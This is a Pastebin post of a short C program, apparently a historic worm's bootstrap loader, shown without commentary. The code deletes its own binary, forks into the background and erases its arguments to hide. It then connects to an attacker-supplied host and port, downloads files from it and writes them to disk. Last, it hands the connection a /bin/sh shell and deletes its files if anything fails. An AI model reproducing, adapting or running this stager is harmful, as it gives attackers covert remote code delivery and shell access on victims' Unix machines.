Advertisement
FlyFar

x8113550.c

Feb 28th, 2023
671
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.61 KB | Cybersecurity | 1 0
  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5.  
  6. main(argc, argv)
  7. char *argv[];
  8. {
  9.     struct sockaddr_in sin;
  10.     int s, i, magic, nfiles, j, len, n;
  11.     FILE *fp;
  12.     char files[20][128];
  13.     char buf[2048], *p;
  14.  
  15.     unlink(argv[0]);
  16.     if(argc != 4)
  17.         exit(1);
  18.     for(i = 0; i < 32; i++)
  19.         close(i);
  20.     i = fork();
  21.     if(i < 0)
  22.         exit(1);
  23.     if(i > 0)
  24.         exit(0);
  25.  
  26.     bzero(&sin, sizeof(sin));
  27.     sin.sin_family = AF_INET;
  28.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  29.     sin.sin_port = htons(atoi(argv[2]));
  30.     magic = htonl(atoi(argv[3]));
  31.  
  32.     for(i = 0; i < argc; i++)
  33.         for(j = 0; argv[i][j]; j++)
  34.             argv[i][j] = '\0';
  35.  
  36.     s = socket(AF_INET, SOCK_STREAM, 0);
  37.     if(connect(s, &sin, sizeof(sin)) < 0){
  38.         perror("l1 connect");
  39.         exit(1);
  40.     }
  41.     dup2(s, 1);
  42.     dup2(s, 2);
  43.  
  44.     write(s, &magic, 4);
  45.  
  46.     nfiles = 0;
  47.     while(1){
  48.         if(xread(s, &len, 4) != 4)
  49.             goto bad;
  50.         len = ntohl(len);
  51.         if(len == -1)
  52.             break;
  53.  
  54.         if(xread(s, &(files[nfiles][0]), 128) != 128)
  55.             goto bad;
  56.  
  57.         unlink(files[nfiles]);
  58.         fp = fopen(files[nfiles], "w");
  59.         if(fp == 0)
  60.             goto bad;
  61.         nfiles++;
  62.  
  63.         while(len > 0){
  64.             n = sizeof(buf);
  65.             if(n > len)
  66.                 n = len;
  67.             n = read(s, buf, n);
  68.             if(n <= 0)
  69.                 goto bad;
  70.             if(fwrite(buf, 1, n, fp) != n)
  71.                 goto bad;
  72.             len -= n;
  73.         }
  74.         fclose(fp);
  75.     }
  76.  
  77.     execl("/bin/sh", "sh", 0);
  78. bad:
  79.     for(i = 0; i < nfiles; i++)
  80.         unlink(files[i]);
  81.     exit(1);
  82. }
  83.  
  84. static
  85. xread(fd, buf, n)
  86. char *buf;
  87. {
  88.     int cc, n1;
  89.  
  90.     n1 = 0;
  91.     while(n1 < n){
  92.         cc = read(fd, buf, n - n1);
  93.         if(cc <= 0)
  94.             return(cc);
  95.         buf += cc;
  96.         n1 += cc;
  97.     }
  98.     return(n1);
  99. }
  100. int zz;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement